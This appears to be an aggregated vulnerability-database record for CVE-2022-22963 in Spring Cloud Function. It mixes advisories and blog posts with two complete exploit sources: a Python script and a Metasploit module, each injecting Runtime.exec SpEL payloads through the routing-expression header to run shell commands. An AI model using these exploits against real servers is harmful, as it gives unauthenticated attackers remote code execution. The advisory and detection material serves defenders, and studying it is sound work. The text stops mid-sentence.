"cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-07-12T00:00:00", "type": "packetstorm", "title": "Spring Cloud 3.2.2 Remote Command Execution", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963"], "modified": "2023-07-12T00:00:00", "id": "PACKETSTORM:173430", "href": "https://packetstormsecurity.com/files/173430/Spring-Cloud-3.2.2-Remote-Command-Execution.html", "sourceData": "`# Exploit Title: Spring Cloud 3.2.2 - Remote Command Execution (RCE) \n# Date: 07/07/2023 \n# Exploit Author: GatoGamer1155, 0bfxgh0st \n# Vendor Homepage: https://spring.io/projects/spring-cloud-function/ \n# Description: Exploit to execute commands exploiting CVE-2022-22963 \n# Software Link: https://spring.io/projects/spring-cloud-function \n# CVE: CVE-2022-22963 \n \nimport requests, argparse, json \n \nparser = argparse.ArgumentParser() \nparser.add_argument(\"--url\", type=str, help=\"http://172.17.0.2:8080/functionRouter\", required=True) \nparser.add_argument(\"--command\", type=str, help=\"ping -c1 172.17.0.1\", required=True) \nargs = parser.parse_args() \n \nprint(\"\\n\\033[0;37m[\\033[0;33m!\\033[0;37m] It is possible that the output of the injected command is not reflected in the response, to validate if the server is vulnerable run a ping or curl to the attacking host\\n\") \n \nheaders = {\"spring.cloud.function.routing-expression\": 'T(java.lang.Runtime).getRuntime().exec(\"%s\")' % args.command } \ndata = {\"data\": \"\"} \n \nrequest = requests.post(args.url, data=data, headers=headers) \nresponse = json.dumps(json.loads(request.text), indent=2) \nprint(response) \n \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/173430/springcloud322-exec.txt", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-03-31T17:01:15", "description": "", "cvss3": {}, "published": "2022-03-31T00:00:00", "type": "packetstorm", "title": "Spring Cloud Function SpEL Injection", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2022-22963"], "modified": "2022-03-31T00:00:00", "id": "PACKETSTORM:166562", "href": "https://packetstormsecurity.com/files/166562/Spring-Cloud-Function-SpEL-Injection.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \n \nRank = ExcellentRanking \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::CmdStager \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Spring Cloud Function SpEL Injection', \n'Description' => %q{ \nSpring Cloud Function versions prior to 3.1.7 and 3.2.3 are vulnerable to remote code execution due to using \nan unsafe evaluation context with user-provided queries. By crafting a request to the application and setting \nthe spring.cloud.function.routing-expression header, an unauthenticated attacker can gain remote code \nexecution. Both patched and unpatched servers will respond with a 500 server error and a JSON encoded message. \n}, \n'Author' => [ \n'm09u3r', # vulnerability discovery \n'hktalent', # github PoC \n'Spencer McIntyre' \n], \n'References' => [ \n['CVE', '2022-22963'], \n['URL', 'https://github.com/hktalent/spring-spel-0day-poc'], \n['URL', 'https://tanzu.vmware.com/security/cve-2022-22963'], \n['URL', 'https://attackerkb.com/assessments/cda33728-908a-4394-9bd5-d4126557d225'] \n], \n'DisclosureDate' => '2022-03-29', \n'License' => MSF_LICENSE, \n'Platform' => ['unix', 'linux'], \n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], \n'Privileged' => false, \n'Targets' => [ \n[ \n'Unix Command', \n{ \n'Platform' => 'unix', \n'Arch' => ARCH_CMD, \n'Type' => :unix_cmd \n} \n], \n[ \n'Linux Dropper', \n{ \n'Platform' => 'linux', \n'Arch' => [ARCH_X86, ARCH_X64], \n'Type' => :linux_dropper \n} \n] \n], \n'DefaultTarget' => 1, \n'DefaultOptions' => { \n'RPORT' => 8080, \n'TARGETURI' => '/functionRouter' \n}, \n'Notes' => { \n'Stability' => [CRASH_SAFE], \n'Reliability' => [REPEATABLE_SESSION], \n'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] \n} \n) \n) \n \nregister_options([ \nOptString.new('TARGETURI', [true, 'Base path', '/']) \n]) \nend \n \ndef check \nres = send_request_cgi( \n'method' => 'POST', \n'uri' => normalize_uri(datastore['TARGETURI']) \n) \n \nreturn CheckCode::Unknown unless res \n \n# both vulnerable and patched servers respond with 500 and a JSON body with these keys \nreturn CheckCode::Safe unless res.code == 500 \nreturn CheckCode::Safe unless %w[timestamp path status error message].to_set.subset?(res.get_json_document&.keys&.to_set) \n \n# best we can do is detect that the service is running \nCheckCode::Detected \nend \n \ndef exploit \nprint_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\") \n \ncase target['Type'] \nwhen :unix_cmd \nexecute_command(payload.encoded) \nwhen :linux_dropper \nexecute_cmdstager \nend \nend \n \ndef execute_command(cmd, _opts = {}) \nvprint_status(\"Executing command: #{cmd}\") \nres = send_request_cgi( \n'method' => 'POST', \n'uri' => normalize_uri(datastore['TARGETURI']), \n'headers' => { \n'spring.cloud.function.routing-expression' => \"T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','#{cmd.gsub(\"'\", \"''\")}'})\" \n} \n) \n \nfail_with(Failure::Unreachable, 'Connection failed') if res.nil? \nfail_with(Failure::UnexpectedReply, 'The server did not respond with the expected 500 error') unless res.code == 500 \nend \nend \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/166562/spring_cloud_function_spel_injection.rb.txt"}], "wallarmlab": [{"lastseen": "2022-04-06T16:47:27", "description": "**Quick update**\n\n * There are two vulnerabilities: one 0-day in Spring Core which is named Spring4Shell (very severe, exploited in the wild no CVE yet) and another one in Spring Cloud Function (less severe, [CVE-2022-22963](<https://tanzu.vmware.com/security/cve-2022-22963>))\n * Wallarm has rolled out the update to detect and mitigate both vulnerabilities\n * No additional actions are required from the customers when using Wallarm in blocking mode\n * When working in a monitoring mode, consider [creating a virtual patch](<https://docs.wallarm.com/user-guides/rules/regex-rule/#example-block-all-requests-with-the-classmoduleclassloader-body-parameters>)\n\n## **Spring4Shell**\n\nSpring Framework is an extremely popular framework used by Java developers to build modern applications. If you rely on the Java stack it\u2019s highly likely that your engineering teams use Spring. In some cases, it only takes one specially crafted request to exploit the vulnerability.\n\nOn March 29th, 2022, information about the POC 0-day exploit in the popular Java library Spring Core appeared on Twitter. Later it turned out that it\u2019s two RCEs that are discussed and sometimes confused:\n\n * RCE in "Spring Core" (Severe, no patch at the moment) - Spring4Shell\n * RCE in "Spring Cloud Function" (Less severe, [see the CVE](<https://tanzu.vmware.com/security/cve-2022-22963>))\n\nThe vulnerability allows an unauthenticated attacker to execute arbitrary code on the target system. Within some configurations, it only requires a threat actor to send a specific HTTP request to a vulnerable system. Other configurations may require additional effort and research by the attacker\n\nAt the time of writing, Spring4Shell is unpatched in the Spring Framework and there is a public proof-of-concept available. We see exploits in the wild.\n\n**Wallarm update** \n[Wallarm](<https://www.wallarm.com/>) automatically identifies attempts of the Spring4Shell exploitation and logs these attempts in the Wallarm Console.\n\n**Mitigation** \nWhen using Wallarm in blocking mode, these attacks will be automatically blocked. No actions are required.\n\nWhen using a monitoring mode, we suggest creating a virtual patch. Feel free to reach out to [support@wallarm.com](<mailto:support@wallarm.com>) if you need assistance.\n\nThe post [Update on 0-day vulnerabilities in Spring (Spring4Shell and CVE-2022-22963)](<https://lab.wallarm.com/update-on-0-day-vulnerabilities-in-spring-spring4shell-and-cve-2022-22963/>) appeared first on [Wallarm](<https://lab.wallarm.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-31T01:49:02", "type": "wallarmlab", "title": "Update on 0-day vulnerabilities in Spring (Spring4Shell and CVE-2022-22963)", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963"], "modified": "2022-03-31T01:49:02", "id": "WALLARMLAB:9178CD01A603571D2C21329BF42F9BFD", "href": "https://lab.wallarm.com/update-on-0-day-vulnerabilities-in-spring-spring4shell-and-cve-2022-22963/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "saint": [{"lastseen": "2023-07-26T12:32:07", "description": "Added: 04/05/2022 \n\n\n### Background\n\n[Spring Cloud Function](<https://spring.io/projects/spring-cloud-function#overview>) abstracts all transport details and infrastructure, allowing developers to keep all familiar tools and processes and focus on business logic. \n\n### Problem\n\nSpring Cloud Function has remote code execution vulnerability. An attacker could provide a crafted Spring Expression language (SpEL) as a routing-expression that may result in access to local resources. \n\n### Resolution\n\nApply the patch referenced in the [CVE-2022-22963](<https://tanzu.vmware.com/security/cve-2022-22963>). \n\n### References\n\n<https://tanzu.vmware.com/security/cve-2022-22963> \n\n\n### Limitations\n\n### Platforms\n\nWindows \nLinux \n \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-05T00:00:00", "type": "saint", "title": "Spring Cloud Function Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963"], "modified": "2022-04-05T00:00:00", "id": "SAINT:ACED9607933F401D5B0A59CB25D22B09", "href": "https://my.saintcorporation.com/cgi-bin/exploit_info/spring_cloud_function_rce", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-07-21T18:40:39", "description": "Added: 04/05/2022 \n\n\n### Background\n\n[Spring Cloud Function](<https://spring.io/projects/spring-cloud-function#overview>) abstracts all transport details and infrastructure, allowing developers to keep all familiar tools and processes and focus on business logic. \n\n### Problem\n\nSpring Cloud Function has remote code execution vulnerability. An attacker could provide a crafted Spring Expression language (SpEL) as a routing-expression that may result in access to local resources. \n\n### Resolution\n\nApply the patch referenced in the [CVE-2022-22963](<https://tanzu.vmware.com/security/cve-2022-22963>). \n\n### References\n\n<https://tanzu.vmware.com/security/cve-2022-22963> \n\n\n### Limitations\n\n### Platforms\n\nWindows \nLinux \n \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-05T00:00:00", "type": "saint", "title": "Spring Cloud Function Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963"], "modified": "2022-04-05T00:00:00", "id": "SAINT:EA21934BE7986CEF27E73EAA38D7EB58", "href": "https://download.saintcorporation.com/cgi-bin/exploit_info/spring_cloud_function_rce", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "cisco": [{"lastseen": "2023-06-24T08:26:39", "description": "On March 29, 2022, the following critical vulnerability in the Spring Cloud Function Framework affecting releases 3.1.6, 3.2.2, and older unsupported releases was disclosed:\n\nCVE-2022-22963: Remote code execution in Spring Cloud Function by malicious Spring Expression\n\nFor a description of this vulnerability, see VMware Spring Framework Security Vulnerability Report [\"https://tanzu.vmware.com/security/cve-2022-22963\"].\n\nCisco's Response to This Vulnerability\n\nCisco accessed all products for impact from CVE-2022-22963. To help detect exploitation of this vulnerability, Cisco has released Snort rules at the following location: Talos Rule SID 59388 [\"https://www.snort.org/rule_docs/1-59388\"]\n\nThis advisory is available at the following link:\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-java-spring-scf-rce-DQrHhJxH [\"https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-java-spring-scf-rce-DQrHhJxH\"]", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-01T23:45:00", "type": "cisco", "title": "Vulnerability in Spring Cloud Function Framework Affecting Cisco Products: March 2022", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963"], "modified": "2022-04-15T15:31:28", "id": "CISCO-SA-JAVA-SPRING-SCF-RCE-DQRHHJXH", "href": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-java-spring-scf-rce-DQrHhJxH", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-15T18:24:11", "description": "On March 31, 2022, the following critical vulnerability in the Spring Framework affecting Spring MVC and Spring WebFlux applications running on JDK 9+ was released:\n\n CVE-2022-22965: Spring Framework RCE via Data Binding on JDK 9+\n\nFor a description of this vulnerability, see VMware Spring Framework Security Vulnerability Report [\"https://tanzu.vmware.com/security/cve-2022-22965\"].\n\nThis advisory is available at the following link:\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-java-spring-rce-Zx9GUc67 [\"https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-java-spring-rce-Zx9GUc67\"]", "cvss3": {}, "published": "2022-04-01T23:45:00", "type": "cisco", "title": "Vulnerability in Spring Framework Affecting Cisco Products: March 2022", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2022-22965"], "modified": "2023-02-09T15:14:14", "id": "CISCO-SA-JAVA-SPRING-RCE-ZX9GUC67", "href": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-java-spring-rce-Zx9GUc67", "cvss": {"score": 9.8, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}}], "malwarebytes": [{"lastseen": "2022-12-20T00:10:35", "description": "A critical vulnerability can send countless organizations into chaos, as security teams read up on the vulnerability, try to figure out whether it applies to their systems, download any potential patches, and deploy those fixes to affected machines. But a lot can go wrong when a vulnerability is discovered, disclosed, and addressed--an inflated severity rating, a premature disclosure, even a mixup in names.\n\nIn these instances, when the security community is readying itself for a major sea change, what it instead gets is a ripple. Here are some of the last year's biggest miscommunications and errors in security vulnerabilities. \n\n## 1\\. \"Wormable\"\n\nThere are some qualifications for vulnerabilities that send shivers up the spine of the security community as a whole. A "wormable" vulnerability is used when the possibility exists that an infected system can contribute as an active source to infect other systems. This makes the growth potential of an infection exponential. You'll often see the phrase "WannaCry like proportions" used as a warning about how bad it could get.\n\nWhich brings us to our first example: [CVE-2022-34718](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34718>), a Windows TCP/IP Remote Code Execution (RCE) vulnerability with a [CVSS rating](<https://www.malwarebytes.com/blog/news/2020/05/how-cvss-works-characterizing-and-scoring-vulnerabilities>) of 9.8. The vulnerability could have allowed an unauthenticated attacker to execute code with elevated privileges on affected systems without user interaction, which makes it \"wormable,\" but in the end, it turned out to be not so bad since it only affected systems with IPv6 and IPSec enabled and it was patched before an in-depth analysis of the vulnerability was [publicly disclosed](<https://medium.com/numen-cyber-labs/analysis-and-summary-of-tcp-ip-protocol-remote-code-execution-vulnerability-cve-2022-34718-8fcc28538acf>).\n\n## 2\\. Essential building blocks\n\nSomething we've learned the hard way is that there are very popular libraries maintained by volunteers, that many other applications rely on. A library is a set of resources that can be shared among processes. Often these resources are specific functions aimed at a certain goal which can be called upon when needed so they do not have to be included in the code of the software. A prime example of such a library that caused quite some havoc was [Log4j](<https://www.malwarebytes.com/blog/exploits-and-vulnerabilities/2021/12/log4j-zero-day-log4shell-arrives-just-in-time-to-ruin-your-weekend/>).\n\nSo, when [OpenSSL announced](<https://www.malwarebytes.com/blog/news/2022/10/critical-openssl-fix-due-november-1st-get-ready-to-patch>) a fix for a critical issue in OpenSSL, everybody remembered that the last time OpenSSl fixed a critical vulnerability, that vulnerability was known as [Heartbleed](<https://www.malwarebytes.com/blog/news/2019/09/everything-you-need-to-know-about-the-heartbleed-vulnerability>). The Heartbleed vulnerability was discovered and patched in 2014, but infected systems kept popping up for years.\n\nHowever, when the patch came out for the more recent OpenSSL issue, it turned out the bug had been [downgraded in severity](<https://www.malwarebytes.com/blog/news/2022/11/openssl-bug-downgraded-in-severity-patches-now-available>). That was good news all around: The patch for the two vulnerabilities is available, and the announced vulnerability wasn't as severe as we expected. And there is no known exploit for the vulnerabilities doing the rounds.\n\n## 3\\. Zero-day\n\nThe different interpretations for the term zero-day tend to be confusing as well.\n\nThe most accepted definition is:\n\n> "A zero-day is a flaw in software, hardware or firmware that is unknown to the party or parties responsible for patching or otherwise fixing the flaw."\n\nBut you will almost as often see something called a zero-day because the patch is not available yet, even though the party or parties responsible for patching or otherwise fixing the flaw are aware of the vulnerability. For example, Microsoft uses this definition:\n\n> "A zero-day vulnerability is a flaw in software for which no official patch or security update has been released. A software vendor may or may not be aware of the vulnerability, and no public information about this risk is available."\n\nThe difference is significant. The fact that a vulnerability exists is true for almost any complex platform or software. Someone has to find such a vulnerability before it becomes a risk. Then it depends on the researcher finding the flaw whether it becomes a threat. If the researcher follows the rules of responsible disclosure, the vendor will be made aware of the existence of the flaw before anyone else, and the vendor will have a chance to find and publish a fix for the bug before any malicious actors find out about it.\n\nSo, for a vulnerability to be alarming, I would argue it has to be used in the wild or a public Proof-of-Concept has to be available _before_ the patch has been released.\n\nAs an example of where this went wrong, a set of critical RCE [vulnerabilities in WhatsApp](<https://www.malwarebytes.com/blog/news/2022/09/critical-whatsapp-vulnerabilities-patched-check-youve-updated>) got designated as a zero-day by several outlets, including some that should know better. As it turned out, the vulnerabilities listed as [CVE-2022-36934](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36934>) and [CVE-2022-27492](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27492>) were found by the WhatsApp internal security team and silently fixed, so they never posed any actual risk to any user. Yes, the consequences would have been disastrous if threat actors had found the vulnerabilities before the WhatsApp team did, but there never were any indications that these vulnerabilities had been exploited.\n\n## 4\\. Spring4Shell\n\nPublicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database as an individual number. CVE numbers are very helpful because they are unique and used in many reliable sources, so they make it easy to find a lot of information about a particular vulnerability. But they are hard to remember (for me at least). Coming up with fancy names and logos for vulnerabilities names, such as Log4Shell, Heartbleed, and Meltdown/Spectre helps us to tell them apart.\n\nBut when security experts themselves start to confuse different vulnerabilities in the same framework and researchers disclose details about an unpatched vulnerability because they think the information is out anyway, serious problems can arise.\n\nIn March, two RCE vulnerabilities were being discussed on the internet. Most of the people talking about them believed they were talking about "Spring4Shell" ([CVE-2022-22965](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965>)), but in reality they were discussing [CVE-2022-22963](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22963>). To add to the stress, a Chinese researcher prematurely spilled details about the vulnerability before the developer of the vulnerable Spring Framework could come up with a patch. This may have been due to the confusion about the two vulnerabilities.\n\nIn the end, Spring4Shell fizzled, working only for certain configurations and not for an out-of-the-box install.\n\n## Public service or not?\n\nSo, are we doing the public a service by writing about vulnerabilities? We feel we are, because it is good to raise awareness about the existence of vulnerabilities. But, to be effective, we need to meet certain criteria.\n\n * First of all, it needs to be made clear who is affected and who needs to do something about it. And what you can do to protect yourself.\n * While it is not always easy to make an assessment about the threat level, since we often don't have the exact details of a vulnerability, it is desirable to not exaggerate the impact.\n * Make it very clear whether or not a threat is being used in the wild if you have that information.\n\nIn a recent assessment, security researcher [Amelie Koran](<https://infosec.exchange/@webjedi>) said on Mastodon that the economic costs of Heartbleed were mostly due to vulnerability assessment and patching and not necessarily lost or stolen data. Not that it wouldn't have backfired if the patch hadn't been deployed, but it is something to keep in mind. A panic situation can do more harm than the actual threat.\n\n* * *\n\n**We don't just report on threats--we remove them**\n\nCybersecurity risks should never spread beyond a headline. Keep threats off your devices by [downloading Malwarebytes today](<https://www.malwarebytes.com/for-home>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-12-19T01:00:00", "type": "malwarebytes", "title": "4 over-hyped security vulnerabilities of 2022", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963", "CVE-2022-22965", "CVE-2022-27492", "CVE-2022-34718", "CVE-2022-36934"], "modified": "2022-12-19T01:00:00", "id": "MALWAREBYTES:30F9B0094E0BC177A7D657BF67D87E39", "href": "https://www.malwarebytes.com/blog/news/2022/12/4-times-security-vulnerabilities-were-blown-out-of-proportion-in-2022", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "mmpc": [{"lastseen": "2022-04-11T23:40:15", "description": "**_April 11, 2022 update_** \u2013 __Azure Web Application Firewall (WAF) customers with Regional WAF with Azure Application Gateway now has enhanced protection for critical Spring vulnerabilities - [CVE-2022-22963](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22963>), [CVE-2022-22965](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965>), and [CVE-2022-22947](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22947>)._ _See [](<https://www.microsoft.com/security/blog/wp-admin/post.php?post=110715&action=edit#detectandprotect>)Detect and protect with Azure Web Application Firewall (Azure WAF) section for details__.\n\nOn March 31, 2022, vulnerabilities in the Spring Framework for Java were [publicly disclosed](<https://www.springcloud.io/post/2022-03/spring-framework-rce-early-announcement/#gsc.tab=0>). Microsoft is currently assessing the impact associated with these vulnerabilities. This blog is for customers looking for protection against exploitation and ways to detect vulnerable installations on their network of the critical remote code execution (RCE) vulnerability [CVE-2022-22965](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965>) (also known as SpringShell or Spring4Shell).\n\nThe Spring Framework is the most widely used lightweight open-source framework for Java. In Java Development Kit (JDK) version 9.0 or later, a remote attacker can obtain an _AccessLogValve _object through the framework\u2019s parameter binding feature and use malicious field values to trigger the pipeline mechanism and write to a file in an arbitrary path, if certain conditions are met. \n\nThe vulnerability in Spring Core\u2014referred to in the security community as SpringShell or Spring4Shell\u2014can be exploited when an attacker sends a specially crafted query to a web server running the Spring Core framework. Other vulnerabilities disclosed in the same component are less critical and not tracked as part of this blog.\n\nImpacted systems have the following traits:\n\n * Running JDK 9.0 or later\n * Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and earlier versions\n * Apache Tomcat as the Servlet container:\n * Packaged as a traditional Java web archive (WAR) and deployed in a standalone Tomcat instance; typical Spring Boot deployments using an embedded Servlet container or reactive web server are not impacted\n * Tomcat has _spring-webmvc_ or _spring-webflux_ dependencies\n\nAny system using JDK 9.0 or later and using the Spring Framework or derivative frameworks should be considered vulnerable. The following nonmalicious command can be used to determine vulnerable systems:\n \n \n $ curl host:port/path?class.module.classLoader.URLs%5B0%5D=0\n\nA host that returns an HTTP 400 response should be considered vulnerable to the attack detailed in the proof of concept (POC) below. Note that while this test is a good indicator of a system\u2019s susceptibility to an attack, any system within the scope of impacted systems listed above should still be considered vulnerable.\n\nThe [](<https://www.microsoft.com/microsoft-365/security/microsoft-365-defender>)[threat and vulnerability management](<https://docs.microsoft.com/azure/defender-for-cloud/deploy-vulnerability-assessment-tvm>) console within [Microsoft 365 Defender](<https://www.microsoft.com/microsoft-365/security/microsoft-365-defender>) provides detection and reporting for this vulnerability.\n\nThis blog covers the following topics:\n\n 1. Observed activity\n 2. Attack breakdown\n 3. The vulnerability and exploit in depth\n * Background\n * Request mapping and request parameter binding\n * The process of property binding\n * The vulnerability and its exploitation\n * Prelude: CVE-2010-1622\n * The current exploit: CVE-2022-22965\n * From ClassLoader to AccessLogValve\n 4. Discovery and mitigations\n * How to find vulnerable devices\n * Enhanced protection with Azure Firewall Premium\n * Detect and protect with Azure Web Application Firewall (Azure WAF)\n * Global WAF with Azure Front Door\n * Regional WAF with Azure Application Gateway\n * Patch information and workarounds\n 5. Detections\n * Microsoft 365 Defender\n * Endpoint detection and response (EDR)\n * Antivirus\n * Hunting\n * Microsoft 365 Defender advanced hunting queries \n * Microsoft Sentinel\n\n## Observed activity\n\nMicrosoft regularly monitors attacks against our cloud infrastructure and services to defend them better. Since the Spring Core vulnerability was announced, we have been tracking a low volume of exploit attempts across our cloud services for Spring Cloud and Spring Core vulnerabilities. For CVE-2022-22965, the attempts closely align with the basic web shell POC described in this post.\n\nMicrosoft\u2019s continued monitoring of the threat landscape has not indicated a significant increase in quantity of attacks or new campaigns at this time.\n\n## Attack breakdown\n\nCVE-2022-22965 affects functions that use request mapping annotation and Plain Old Java Object (POJO) parameters within the Spring Framework. The POC code creates a controller that, when 